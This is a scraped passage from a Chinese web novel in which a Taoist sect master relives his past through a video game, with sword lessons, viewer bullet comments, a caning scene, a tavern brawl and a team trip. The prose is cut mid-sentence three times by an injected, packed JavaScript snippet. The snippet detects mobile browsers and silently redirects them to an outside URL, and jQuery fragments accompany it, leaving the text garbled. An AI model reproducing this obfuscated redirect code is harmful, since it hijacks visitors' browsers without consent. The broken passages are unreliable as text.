“嗯。”殊掌门只是点了点头,并没有睁开眼睛,雪白的睫毛仍旧覆盖在脸上,如收起的羽翼一般,“自己吃。” 秦昭愣在原地。 “怎么?吃饭要教?”殊掌门这才睁开双目,清丽的五官轮廓因为这双陡然睁开的眼睛瞬间变得锐利起来。 “不用。”秦昭这才在桌边坐下,拿起筷子,一口一口地开始吃面。 他的嘴唇始终干裂着,碰到面汤的时候还哆嗦了一下——他不像殊无己那样是半仙体质,本身就是鼎盛至极的仙家世传,本无需用食。 然而热汤入腹的时候,他仍然感受到不同,似乎连时间都变得缓慢了下来。 殊掌门就这么耐心地看着他,等到他一碗面吃完,才再次开口: “我三清门入门功法有一套和气功,一套两仪剑。你若天资愚钝,这几日也该把这两套功法练会了……但你若小有天赋,可直接学玄阳功与明光剑。” 掌门停顿了一下,似乎在等他表态。 秦昭弄不清这问题是不是个陷阱,他多少有点怵眼前这人——毕竟殊无己秉性古怪,若自认天资优良,弄不好又要被以狂妄自大为由拖出去挨打。 “两仪剑已是至上功法……” 他话说了一半,殊掌门就打断了他。 “我会在到五岳前传你玄阳功与明光剑。”殊掌门毫不留情地替他做出了决定,语气仍旧慢条斯理,却愣是说出几分专断无情的味道,“不论天资如何,你都必须学会。” 15. 惊鸿 玄阳功与秦昭家传心法俱是至阳至刚的功法,秦昭学起来不难,姑且搁下不表,但这明光剑法却是结结实实让他揭下一层油皮。 “站稳。”殊掌门单手扶着他的腰,眉目低垂,漆黑的眼睛一丝不苟地看着下方,秦昭顺着他的目光看去,那里是自己的鞋尖。 他脚下频频踩空,几乎要从梅花桩上落下去。 “静心。”殊掌门冷声道,“不要盯着看,气沉下去,拔剑。” 他似是不满秦昭学得太慢,揽着他腰的手挪到了肩头,掰着他的肩膀几乎将他半个人搂在怀中,另一只手握住了他的右手手腕,“锵”的一声拔剑出鞘,明光剑银光一闪,眼前落下的雪柳叶便纷纷碎成两片。 “学。”他言简意赅,“若还学不会,我要记你一次。” 秦昭全没听见他在说什么,只是依葫芦画瓢地记着刚才的感觉挽了个剑花。 他确实天赋异禀,只试了一次,便将这个起手势学了个七八分像。 殊掌门紧皱的眉头微微松开。 “学下一式。”他没有夸奖,也没有其他表情,只是抬头看着秦昭,轻声问,“还要抱着你吗?” 殊无己不看也知道弹幕这个时候已经刷疯了。 他一心二用,试图想起那个叫秦昭的徒弟究竟是个什么人,却一丝一毫也无法忆起,这不合常理——如果这个弟子当真聪颖到能在短短几天内学会明光剑法,他不至于昏聩如此,把人忘得一干二净。 但满屏的弹幕打断了他的回忆。 【哎呦,我的妈呀,这个高速转身】 【你以为是在学剑其实是在跳国标哦】 【热知识:去衣柜里换一身紧身皮衣,来走这段剧情,能够拍出抱着殊无己跳钢管舞的效果。】 殊无己:“......” 他面无表情地看着剧情里动作越来越快的二人。秦昭学得快,殊掌门就教得更快。十三式很快学完了,他们开始对练,殊掌门让秦昭出招,然后信手拈来地格挡。他的速度控制得很稳,秦昭快,他就只比秦昭快一点,让秦昭能追上他,却碰不到他。满天雪柳中,他在梅花桩上腾挪,像一只鳞翅摇曳的玉蝶,翩飞着躲避了所有刺来的剑招。 【这操作有点超乎我的理解范围了】 【这是我吗?我有这么骁勇?】 【我就眼睁睁地看着主角错过了好几个扑进殊无己怀里的姿势】 【好了,别走剧情了,该我上场表演了】 【前面的轮到你上场的时候别哭】 殊无己还没理解这句话的意思,忽然脚下一沉,他又被拽进了剧情里。 【任务[三清炫舞]即将开始:跟上师傅的节奏,学会明光十三问吧】 殊无己:? 一行他看不太懂的倒计时结束后,梅花桩突然变成了透明的光阶,与此同时他耳边响起丝竹铜磬之声——此曲名为《百鸟朝凤》,通常在僧人道士还俗成亲之日演奏,殊无己做了近百年的三清掌门,听过不下十次,但他不知道为什么这首乐曲会在此时响起。 他还没反应过来,脚下的光阶就消失了,他陡然从空中坠落。显然,他又没法使用法术。 一只修长的手掌捉住了他,殊掌门像提一只鸡仔般把他提了起来。 “莫要分心。”殊掌门警告地看了他一眼,“记一次。” 殊无己仍然不明就里,第二次光阶消失的时候,他立刻闪身跃向右侧,然而殊掌门的剑刃却擦着他的发丝扫过,将他从光阶上扫落。 殊无己:…… 殊掌门又一次拎着他的领子,把他提了起来。 这一次殊掌门的脸色就有点难看了,连警告都没有,但那双黑白分明的眼睛明确在说:“再记一次。” 【温馨提示:请跟着音乐的节奏选择光阶落脚,同时要避开师傅的技能哦!】 殊无己忍不住反驳道:“练剑就练剑,如此岂非成舞乐?” 系统自然没有理他。 弹幕里终于没有再幸灾乐祸了,满屏的如丧考妣: 【不是,我不想玩音游,说好的抱着飞呢?】 【说好的钢管舞呢】 【抱头鼠窜体验卡】 【有没有人知道被记太多次会怎么样?】 【举手。会被逐出师门】 【真的假的?】 【真的。亲亲师傅还会告诉你:三清观不养蠢人。然后这条线你就be了,前面全部剧情重新走,可能会被分到别的门派】 【我大为震撼】 【......现在完全理解纪望春了】 殊无己发弹幕澄清道:“若实在若根骨未契,入三清亦是虚掷光阴。只是此等手舞足蹈绝非我门考校之规,切勿轻信戏言。” 自然没人理他。 他第三次从梅花桩上掉下去的时候,画面再次切换,镜头非常慷慨地给了殊掌门的脸一个特写。 只见白发道人从天而降,剑柄轻挑,抵住他的背,就将整个人轻轻掀起。此时一阵风吹来,飞絮拂面,道长未束起的雪色长发临风飞舞,与洁白衣袂如两团晕开的墨一样融在了一起,正如传言中一般,乃是“拂去身上雪,又披月色来”。 “若仍不能心静,便闭上眼。”殊掌门缓声道,“记得步法?” 殊无己自然记得。 他对明光剑法的熟悉,比起眼前之人有过之而无不及。 ……论起静心,更是何须旁人道哉。 他徐徐回过味来,略一侧身,从殊掌门面前后撤,踩到了脚下光阶——凝神贯注之时,乐声已无法入耳。 他听着耳畔的剑风,剑刃一颤,他就知道对面要用什么招式,也知道对面想试的是什么招式——他曾经这样教出过无数弟子,其中有登封大能,亦有无能败类。当他踏出第一步的时候,肢体记忆便已经支配了他的五感,无需看,无需听,无需想,无需反应,他能使出比这个系统模拟的殊掌门更快、更锐意凌人的明光十三问。 剑刃交锋的那一瞬,寒光四溅,嗡鸣乍响,似有两条银龙交缠一般,发出爆裂之声,二人齐齐后退。 画面重新从操作模式转变为剧情播放。 “今日之事已毕。”殊掌门收剑入鞘,静静地盯着眼前的人。 月亮正好从他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438814|169335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 背后升上中天。 从秦昭的角度看,白衣道人立于月前,一身道袍,手持拂尘,眉眼睫毛低垂,那圆月一半被他发髻挡着,正好成了菩萨背后的头光,映得此人肌肤生辉。 就在他目不转睛地看着的时候,“菩萨”忽然惊天动地地一抬嘴唇,极浅淡地露出一个微笑: “悟性甚佳,不负我望。” 【......】 【我受不了了】 【纪望春:臣妾此身,从此分明了。】 【殊无己,你告诉我,你也这么夸过我们纪望春大师兄吗?回答我。】 【殊无己,你告诉我,你也抱着纪望春跳过国标吗?回答我。】 【殊无己,你告诉我,你也抱着纪望春、张师兄、孙师姐跳过国标吗?这单是我一个人的待遇,还是人人都有的?你也曾这样扳着他们的腿,教他们如何劈叉吗?殊无己,你回答我。】 【都别刷了,师父是正经人[微笑]所以现在是不是该谈恋爱了?】 【所以现在是不是该谈恋爱了?】 很显然,主创没准备让任何人在现在谈恋爱。 他二人从梅花桩下来的时候,殊掌门仍然如足不沾地般轻若翩鸿,秦昭却多少有点步履迟缓。 他抱着掌门的明光剑跟在后面,一边追一边问:“师尊,你要去市集上吗?现在夜深,恐是没什么人了。” 殊掌门没有回答,只道:“跟着。” 他只轻声说了两个字,秦昭的心却就这么稳了下去。他点了点头,像抱着什么宝物般抱紧了怀里那柄玉色的长剑。 殊掌门走进夜深无人的街坊,无须持灯,身上自如点了火般明亮。 他让秦昭等着,自己只身走进市坊,再出来时,手里提着一对装在竹笼里大雁。 卖鸟的老汉傻傻地看着这仙人似的道长拈棋子般拈着铜板搁在他面前,想说不收他的钱,却不敢。 秦昭顺手接过师父手里的竹笼:“此为依例放生之物?” 殊掌门点点头:“日行一善。” 他们又行数里,待至夜深林静之时,殊掌门将鸟笼挂在树上,打开笼门,让那对大雁扑腾腾地挤出竹笼。大雁一刻未歇,便往远处飞去。 “师尊。”秦昭忽然开口,欲言又止。 “说。” “这双大雁已然离群,恐怕活不了多久了。” “它们自有命数。”殊掌门神色如常,“自在投死,总好过笼中待毙。” 秦昭没有接话。 “饿吗?”殊掌门突然问。 秦昭呆了一下,不知道该怎么告诉他师傅,仙体是不会饿的。 “我饿了。”殊掌门没等他回答,就极自然地道,“前方二里外是三清观一处脚庵,去那里休息。” 秦昭忙点头称是。 他想了想又道:“您吃面吗?我今日已学会了,可以去借伙房给您做。” “如此甚好,多谢。”殊掌门竟真一本正经地谢了他,秦昭的心又莫名其妙地一阵心乱,然而对方下一句话就让他马上又心若死灰,“正好,有时间算一算今天记了你几次。” 16. 教训 脚庵人烟稀少,统共只有三进,住持和火工道人在东西厢房睡得正酣,隔大老远都能听到隆隆的鼾声。 夜枭在树枝上发出尖锐的鸣叫,偶有翅膀扇动的声音,除此之外,一切静得落针可闻。 殊掌门走在前面,穿过练功场进了正屋,秦昭神色复杂地跟在后面。 正屋中央供奉着三清老祖的神像,老祖眉须俱白,垂至胸前,神色和蔼地半闭着双目。 像前摆了两个蒲团,殊掌门没有下拜,只是揖了一礼。 秦昭倒是识趣儿,端端正正在蒲团上跪了。 殊掌门颇为意外地看了他一眼,没有说话,端着手里的拂尘,慢条斯理地在他周围踱了半圈。 待到眼前人有点心慌意乱的时候,他才徐徐开口。 “本座倒也不是非得罚你。”他淡淡地说,“你天资优异,又能苦心修习,本当嘉奖。” 秦昭被他说得一头雾水,脊背倒是绷得更直了。 “但你心思未定,却无可辩驳。”殊掌门话锋一转,“我知你年方弱冠就陡逢变故,不免觉得前路茫然,宿仇未泯——若这般强修艰深心法,假以时日,必将走火入魔。” 他难得说着许多话,秦昭怔怔听着,也不知听进去多少,只俯首道:“谨遵师尊教诲。” “要不系尘缘,屏除物欲,谈何容易。你年纪尚小,我也不苛求你,不妨借你一臂……”殊掌门垂眸笼袖,声音愈来愈低,末了竟难得带了些悲悯。 就在秦昭惊讶之时,他的耳边忽然传来一阵劲风,紧接着,背上炸开一阵撕裂的疼痛。 他一时未做好准备,险些惊呼出声。 没等他反应,第二下便如疾风骤雨般袭来。秦昭咬紧牙关,当他意识到抽在背上的是殊掌门的拂尘时,他连怎么呼吸都忘记了。 那拂尘被变作一根细长漆黑的藤杖,握在殊掌门霜白的指尖,时不时转动着角度。 殊掌门脸上依旧神色平静,他抽人的时候不教训人,而是安静地做事,垂着眼皮丈量着面前受捶楚的皮肤,一棍棍紧挨着,确保哪怕是大罗金仙,也能每一棍都恰到实处地吃到痛处。 秦昭的嘴唇要咬出血来,他兀自忍着一声不吭。 仙体虽不易受伤盗汗,但仍是会伤筋动骨地疼痛。抽他的人是他师傅,他不敢用力相抗,全身的力气都用来放松背上的肌肉。每一杖下去,他的身体就微微地前倾,然后像脚底坠了水银的不倒翁一样,直直地跪立回蒲团上。 殊掌门对他的表现甚为满意,但手上的力气却未有半点松懈。炉中三炷香尽数燃尽之时,他才收了手,将藤杖在徒弟背上轻轻一点,示意这一场惩戒结束了。 秦昭陡然脱了力。 他弓起背,拳头撑在地上,伏了良久,才慢慢地直起身来,哑声道:“……多谢师尊。” 殊掌门看着他,没有说话,而是将藤杖变回拂尘,伸到秦昭面前。 沉静的目光似乎在问:起得来吗? 秦昭犹疑了一瞬,便用双手抓着拂尘柔软的须子,就这么借着力站了起来。这拂尘须子柔软如绸缎,虚渺如流水,却从那一端传来一股似有似无,不可抗拒的力量,如一阵风般将他带起。 他抬起头,漆黑的双眼略带恍惚地看着殊掌门。 “你心静了。”殊掌门看着他,微微一笑,“正该如此,与其怕前路未卜,不如直接怕我。” ------------------------------------- 殊无己若有所思地从这段剧情里退了出来。 即便是旁观视角,他也能察觉到自己对秦昭与旁的徒弟不同。 当了几百年掌门,聪明的弟子带过不少,驽钝的更是比比皆是,什么样的人都不稀罕,稀罕的是合拍的,合心意的。 秦昭显然很合他心意。 他却一点不记得了。 他仍然茫然未解,却来不及细想,一团翠色祥云突然挡住了他的视野,久违的系统音再次响起。 【恭喜您通关第一章主线:初入三清】 【是否进入第二章?】 殊无己想都没想就选了“是” 祥云缓慢地流向他,包裹住了他的身体,夜色、庭院、秦昭和殊掌门都消失了。 殊无己感到脚下生风,那种被传送阵托行的感觉再次出现。 紧接着,他眼前浮现出另一行龙飞凤舞的毛笔字,这章的标题字体与上一章不同,更为棱角分明、锋芒毕露: 【第二章·五岳争锋】 天气一下子变得酷热。 天空中出现日月流转、春夏交替的景象,最后定格在烈日暴晒的盛夏,旁边冷峻凛冽的险峰也变成了巍峨挺拔的太山。 太山为五岳派立宗之地,相较于三清观周围簇生的松柏和光秃秃的石壁,太山则是树木丰茂,樟柏栾楸一应俱全,绿荫遮天,贩夫走卒往来不绝。不少坐着滑竿的达官贵人走走停停,提笔吟诗,甚为喧嚣。 五岳弟子穿着青衫,御剑飞行,在山道中上上下下,忙碌不已,且多面露愁态。可见即便喧闹如初,来客不断,这五岳派依旧深陷内忧外患之中。 【欢迎来到五岳】 【欢迎来到五岳!】 【欢迎来到刚入门就死了师傅的五岳!】 殊无己扫了眼弹幕,颇有兴致地在山脚下转了一圈。 山下处处挂着白幡,秦万恩之死轰动江湖,即便是山门前的酒家,也有颇有几分因丧葬而致的萧条。 然而,酒家里几个靠窗而坐的江湖人却面有挑衅之色。 殊无己漫不经心地看了一眼,他从来就没有什么八卦的兴趣。 他听力极好,能远远听到市坊人家用借他“妖道”的名号止小儿夜啼,所以早就习得了听而不闻的本事。 但很显然,这个游戏处处用心险恶,针对于他。 【系统任务:请向酒馆中的少侠们打探消息。】 殊无己叹了口气。 他调头走向酒馆,与此同时,那桌靠窗的武人开始说话了。 领头那个头上裹着蓝布的方脸汉道:“七月初七,五岳派要选新的掌门人,已经发下了江湖帖,邀各门派前去观看,你们有没有人要跟我一起去的?” 说着他从袖中掏出一张铁券。 旁边那个绿衫瘦长个立刻接话:“怎么说?父死子继,兄终弟及,他儿子还在,如何要选新掌门?” “这是选掌门,又不是当皇帝。”方脸哼了一声,面露不屑,“更何况五岳派是江湖五大门派之首,五岳掌门就是‘ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438815|169335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天下第一人’,若是找了个不肖无能的儿子继任,何人能服?” “原本他弟弟秦万仇倒是有机会,”另一个声音纤细的黄衣人开口,“只是听说此人被一个三清弟子暗杀了。” “此话当真?”其余人惊道,“这三清弟子竟有如此胆量?” “哼,区区一个弟子如何敢谋杀秦万仇?又怎么可能全身而退?”黄衣人话中有话,“还不是仗着背后有人。” 其余几人将信将疑:“该不会是那位……可他如此身份,怎会做这般卑劣之事?” “正是如此身份,才不能以常人之理揣度呢。”黄衣人道,“他与秦万恩齐名,实力相近,分据南北,结果秦万恩被奉为五派之主,他却只能守着个鸟不拉屎的破庙……我看他早盼着秦万恩死,这第一把交椅好落到他三清观头上呢。” 殊无己:“……” 他这才迟钝地意识到这群少侠在讨论的人是谁。 这剧情他倒是无比熟悉,当年有人诬蔑他杀了高圣帝君,用的理由他已经忘了,大抵也是万变不离其宗。 他摇了摇头,微微一笑。与千年前相比,他倒是更不在意了。 然而有些人却逼着他要在意。 “叮”一声响,那个恼人的声音再次响起: 【任务:出手教训这群对师尊不敬的江湖中人】 画面一转,殊无己无奈地看着自己的双脚不受控制地走到桌前。 他抬起剑柄,也不拔剑出鞘,手起剑落,一气呵成,一招明光剑起手式斜挥而出,剑鞘重重在黄衣人的脸上抽了一下! 他猝然发难,一时间竟没人反应过来,只见黄衣人圆滚滚的脸颊上缓慢地浮现出一道鲜红的印痕。 殊无己大受震撼,如果他的徒弟真用这种方式用他教的剑法,他只能说昨晚还是打得轻了。 很显然,能打人的那位并不在附近,这秦昭像脱缰的野狗一样,冷冷地朝着这一桌五个人笑了一下,斜鬓飞眉间甚至流露出几分邪肆:“你们一起上吧。” “你是什么人?”黄衣人又惊又怒。 秦昭显然懒得再多说一句话,只是抱剑而立,脸上写满了不耐烦。殊无己这才想起来,这大少爷似乎确实是个桀骜不驯、不学无术、飞鹰走狗的纨绔子弟。 只是跪在他面前挨打的时候顺服得像只母鸡似的。 他越发怀疑自己是不是调教出了什么混世魔王。就在这时,他被拽回了剧情中,画面变回了战斗模式,三个人各自掏出兵刃,齐刷刷地朝他扑来。蓝巾方脸的壮汉拿着一对双手剑,青衫瘦长个用的是一支判官笔,而黄衣人的兵器最为出人意料,是一对比他两个头还要大的巨锤。 【任务:使用明光剑法击退敌人】 殊无己看着自己手里的拂尘消失了,技能板上两套共十三个技能依次亮起,都是通关第一章后增加的。 殊道长颇为嫌弃地看了看这样式吓人却稀松平常的招式,把剑放在了一边,转而拿起了一旁角落里的墩布,握着墩布柄,将沾着菜叶、气味异样的另一头对准脸色发青的三人。 他端端正正地使了一个正确的起手式。 “适才的招式用得不妥,实在莽撞,尚请海涵。”他温声道,“这招起手式,本为见礼之用,敬祝诸君宗门安泰。” 17. 准备旅游 黄衣人勃然大怒,提着他那两口流星锤就往殊无己头上砸去,殊无己立刻如鬼魅一般向后飘开,不格不挡,墩布直直一刺,使了个一个删繁就简的四两拨千斤,沾满残秽的墩布头就向前碾在了黄衣人的胸口。 黄衣人:……? 殊道长颇为诚恳地指教道:"于修道不精之人而言,一寸长一寸强,一寸短一寸险。你本事不精,叫你用流星锤,实在兵行险着。此乃你师傅之过失。" 他这墩布伤害不大,但侮辱性极强。黄衣人脸色涨红地看了他半晌,头顶上忽然冒出了一行"-10000"的数字,然后应声倒地。 【您解锁了技能"嘲讽"】 【您使用"嘲讽"击败了黄衣弟子】 殊无己皱眉不解,他不知为何只是指出别人的障门,就成了嘲讽,当世之人实乃修行不足,以小人之心度君子之腹。 剩余两人连忙搀住委顿在地、舌头外伸的黄衣人,扶着他在后面坐下,又惊又怒地喝道:“妖孽!侥幸一胜,安敢在此口出狂言!” 紧跟着,长剑和判官笔再次舞得像流星一样袭向殊无己的面门。 这招式里头的破绽在殊道长眼中跟鱼都捞不上的网眼一般。殊无己手腕微抬,墩布往前一甩,竟然脱手向二人撞去。 二人面露喜色,正欲一哄而上,不料那墩布团团布料陡然打开,每根布条都呼呼生风、盈满真气,如判官笔的笔锋一般,斜着劲风从左至右写了个银钩铁画的"一"字——从方脸的左耳开始藏锋,一路行笔到蓝衣人的右耳收势,提笔出锋写了个雁尾。 霎时间,青黄的菜汁从“一”字上淌下来,眼泪鼻涕似的在二人脸上淅淅沥沥地滴落。二人脸色从红变黄再变绿,连话都说不出来,牙齿直磕碰,膝盖打弯。 殊无己居高临下地看着他们,拢着袖,正准备开口讲讲判官笔的使法,这二人头上又出现了两个"-10000"的大字。 【恭喜您再次成功使用"嘲讽"击败了二名弟子】 殊无己:“……” 没等他开口澄清,战斗画面就结束了,客栈里剩下一群面有菜色、神色惶恐的客人,有几个不付账就从后门溜了,小二傻乎乎地看着,也不阻拦。 殊无己收起墩布,礼数周全向小二递去,小二哪里敢接,只是摇头讪笑。 殊道长思忖片刻,难得情商在线地找了个话题:"这位童子,我欲上山,参加五岳派的大会,可否请您引路。" 小二“啊”了一声,显然不想开口,实在这尊大佛堵在门前迟迟不走,才不情不愿地问:"你……你有那江湖帖吗?" 殊无己皱起眉头,摇了摇头。 "那你来自何门何派,可有掌门手书?" 他又要摇头,突然镜头一闪,他立刻意识到,这是又进入了剧情动画中。 他再次看到了老朋友弹幕们: 【虽然没有画面,但我已经闻到香风了】 【我也闻到了[偷笑][偷笑][偷笑]】 【好香好香,墩布的味道都闻不到了。】 殊无己刚想发一条消息说“此间无味,前面留言之人应当去看看大夫”,下一秒,他就又一次无语地发现,一只熟悉的手出现在了镜头的正中央。 【大家看看,我师傅可以当手模吗?】 【大家看看,我老公可以当手模吗?】 【大家看看,我主人可以当手模吗?】 虎狼之词飞速闪过,镜头正从那透着青紫血管的苍白手腕一路移到修长的指尖——殊无己再清楚不过这是谁的手。 他的手指比常人稍长一点,手指虽细,指节却尤其的硬,弯曲的地方看起来尤为锋利,加之整只手都没什么肉,一直到指腹的地方才有细微的圆弧线。 现下,这只手里拿着一块腰牌模样的镂金铁块,显然就是小二口中所说的铁券。 秦昭慢吞吞地抬起头,殊无己确定他从此人波澜不惊的眼神里看到了一丝心虚。 “拿着。”殊掌门显然也发现了这个问题,“惹事了?” “没。”秦昭轻飘飘地说,“在帮店里的人打扫卫生。” 说着他挥了挥手里的墩布。 【嗯嗯,打扫得可好了,拖布都在人脸上抹干净了】 【对,店里的菜汤香薰就是打扫的时候喷的】 【能别说谎了吗哥,还是你真的觉得挨抽很爽】 殊掌门抬了抬眼皮,给了他一个了然的目光。这一路上他已经对这个徒弟了如指掌,深知此人乖觉的皮囊下面是什么样的货色——说白了就是欠抽。 但他没说话,只是把铁券递了过去。 秦昭低下头,双手接过了。 “您要去哪儿?”他看着准备离开的殊掌门,问。 “我不喜人多,”殊掌门淡淡道,“且另有要事去做。你既已学好剑法,好好活着便是。” “山上危险。”秦昭犹豫了一下,道,“我身在五岳长在五岳,如今要回家,却还要仰仗这铁券。” 他的语气很平静,倒没有什么哀愁的意思,似乎只是极隐晦地提示殊掌门小心,但殊掌门却听得微微蹙眉。 “怎么?”他冷冷地质问,“以三清掌门门人的身份上山,委屈你了?” 【捉虫:这里应该是以三清掌门内人的身份上山】 【对的,文案这边是打错字了,我已经写问卷反馈了】 【就是打错字了,我是键盘,我可以作证。】 秦昭一怔,却好像真的被安慰到了一般,神采飞扬地微笑起来。 “您一路小心。”他轻声道,“此间事了,我便回三清拜见您。” 殊掌门却不置可否,也不道别,飘飘然便欲离开。秦昭好像还没反应过来,匆忙跟上时踉跄一下。 弹幕忽然刷了起来: 【前方高能】 【前方高能】 【前方高能】 白袍道人已经足尖离地,像一只鹤一样将欲腾空而去,然而临走前,他的身形略略停顿了一下,那只可以当手模的手轻轻擦着弟子的鬓边,抚过对方的发顶。 “安生待着。”他道,“莫让我丢人。” 紧接着,殊掌门便如流云一般被风卷走了。 ------------------------------------- 殊无己在和自己告别后就被迫离开了游戏。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438816|169335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >原因无他,刺耳的铃声不断使他眼前的画面一会失真一会卡顿,上太山的路变得格外难走,系统连着三次提示他有电话接入终端。 他起初还不知那是什么意思,全当耳边风听了。但那铃声和系统音不依不饶地吵了他将近一个时辰,甚至转成了外放。一路上都有人挤眉弄眼地提醒他:“殊掌门,你电话响了哦。” 他不得不询问系统缘由,系统替他接通了电话,紧接着他就被弹出了游戏。 一个熟悉的声音在他耳边响起:“嘿,网瘾少年。” 是肖紫烟。 “肖夫人?”殊无己礼貌地说,“有何贵干?” “没事儿啊。”肖紫烟懒洋洋地说,“我是你的人肉防沉迷系统。你已经在游戏里呆了超过八个小时了。你知道正常人除了打游戏以外,还需要吃饭和睡觉的吗?你知道熬夜不吃饭打游戏是会猝死的吗?” “……”殊无己一时失语,“多谢。” 倒不是他真有网瘾,只是游戏那端的世界更令他熟悉怀念一些。 “哎。”肖紫烟唉声叹气道,“这系统早就被坏人入侵了,你懂不懂?你每天呆在里面24小时,早晚会变成肾虚男的。” 电话那边安静了几秒钟,接着,她听到殊无己温和轻缓的声音传来:“我已自诊过,并无肾虚之象。” 肖紫烟:“……算了。” “你就算不为自己考虑,也要考虑考虑我们。”她换了个说法,继续道,“有些黑心老板呢,发现你上网超时以后,催着我们轮着给你打了一个多小时的电话,才把你弹出来。” 殊无己意识到她说的是谁,感激道:“秦先生照顾流民可谓无微不至,贴心非常。” “噗。”肖紫烟突然嘎嘎地笑了一声。 殊无己:“?” “没事儿。”肖紫烟收起了笑,“那谁给你提过团建的事情没有?” “去三清山的事?”殊无己马上反应了过来。 “嗯。”肖紫烟道,“现在名字叫三叠泉山清泓观。我们准备今天晚上就出发,在车上过夜,明天一早就能到山上看日出了。所以你要去的话最好先睡一会儿,不要再泡在游戏里了。” 不得不说,殊无己实在有些心动,然而与同门弟子外的人一起出游,几百年来也是头一遭,他再不通俗务也知道不可能有人像秦昭那样鞍前马后地伺候他,倒是有点不知如何开口。 “哎呀甭客气。”肖紫烟好像知道他在想什么,喋喋不休地劝道,“你那衣服也不用带,那边有道观,虽然可能和你想象中不一样……只要肯花钱捐功德,三清的旧衣服不缺你穿的,素斋也不缺你吃的。非要带的话带上防晒霜和凡士林,你看这秋老虎还是挺厉害,天干物燥又容易开裂。面膜也可以带几张嘛,不知道你是不是也和秦老板那样不吃这一套,我倒是觉得很享受的啦……” 殊无己不知道她在叽哩咕噜地说些什么,只是安静认真地听着,直到一个声音打断了喋喋不休的肖紫烟。 “殊渺。”秦老板声音传来,仍然是那种微冷的,带着金属质感的嗓音,“晚上来接你。楼下等着。” 没等他回复,“滴滴嘟嘟”的忙音响起,对面已经把电话挂了。 18. 故地 来接殊无己的不是什么大巴车,而是一辆低调的14座Sprinter。 殊无己早早候在楼下,杏黄的袍子和满地落叶溶在了一起,他正低着头,轻轻地用拂尘扫去袍子上的碎叶。 肖紫烟本来还在车里摸摸索索,嚷嚷着“第一次看到老大开这么不起眼的车子真稀奇”,当车窗框住这画面时,即便是最挑三拣四的紫霞仙姑也眼前一亮。 “说起来我还是第一次仔细看真人。”她转头看向躺在后座养神的秦不赦,“果然是建模无法复刻的脸啊。” 秦不赦懒洋洋地“嗯”了一声,没搭理。 倒是黑墨镜嘲笑她:“你一开始还把人当coser。” “我的问题。”仙姑难得主动认栽,“我说什么化妆品这么服帖,原来是殊氏驻颜术。” “闭嘴。”秦老板忽然说。 肖紫烟连忙捂住嘴巴。 “你戳到某人神经了。”黑墨镜的声音也阴恻恻的,“半人半仙,不应该青春永驻的。” 秦不赦目光冷冷地看向窗外,动作颇大地拉开车门,发出“砰”一声响。 “这么大人了还这脾气。”肖紫烟咕哝了一声。 “秦先生。”那边殊无己注意到打开的车门,举步走来,行了个礼,“福生无量天尊。” 秦不赦点点头,收回迈出车门的长腿,继续靠回椅背里。 殊无己在这黑洞洞的“厢房”门口站了会,才微皱着眉,弯腰钻了进去。 “来啦宝贝。”肖紫烟立马换上一张嬉皮笑脸,“晕车不?想坐前排还是后排?” “多谢体谅。”殊无己温声道,“客随主便。” 话虽这么说,他的目光却落在秦不赦身上,“秦先生看起来精神欠佳,可需要贫道替你诊一诊?” 肖紫烟一听到这话,就想起来他刚自诊过肾虚,忍不住噗嗤一笑。 “不必。”秦不赦稍微坐直了点,但仍然垂着眼皮,“只是要花点时间养精蓄锐。” “嗯嗯,养好了憋一发大的。”肖紫烟替他鼓劲。 秦不赦就当没听到。 殊无己只觉莫名其妙,但也懒得深究,只是按照秦老板的指示,坐进了车厢里的最后一排。 黑墨镜打开车窗,把嘴里的烟头丢了出去,一边发动车子一边说:“老君和文昌已经在那边等了。” “老君?”殊无己抬起头,“是哪位老君?” “呃。”黑墨镜说漏了嘴,尴尬地笑了下,“是王老君,姓王名老君的一个小伙子。” 肖紫烟一边吃吃笑,一边点开手机,长长的美甲在屏幕上敲得噼里啪啦响,安排同事们圆谎。 “黑房子”很快上了高架,一溜烟在空无一人的快速通道上疾驰,殊无己身边的窗略微打开了点,风声呼啸,吹得他发丝凌乱。 “凡人亦可由通天之能。”他凝望着窗外熟悉又陌生的绿树方塘,“如此逐电追风,从前未曾见过,” “是,人类的发明是好用。”黑墨镜赞同地点点头,“你看那驱邪咒吧,还得一个一个念,哪里有用机关枪扫来的方便——还有那什么传讯咒通灵符的,拉个腾信会议多省事儿啊——” 秦不赦轻咳了一声。 黑墨镜闭上嘴。 殊无己兴致盎然地听着,他忽然想起来什么,从袖中取出一沓黄符,递给了副驾驶上的肖紫烟。 “这是什么?”肖紫烟明知故问。 “三清护命玄符。”殊无己道,“我命里常带凶兆,怕牵连同行诸位,此符可以避祸。” 肖紫烟若有所思地“啊”了一声,接过黄符。 车厢里沉默了几秒钟,秦不赦闭着眼睛,靠在车窗前,不知听没听到他们在说什么。 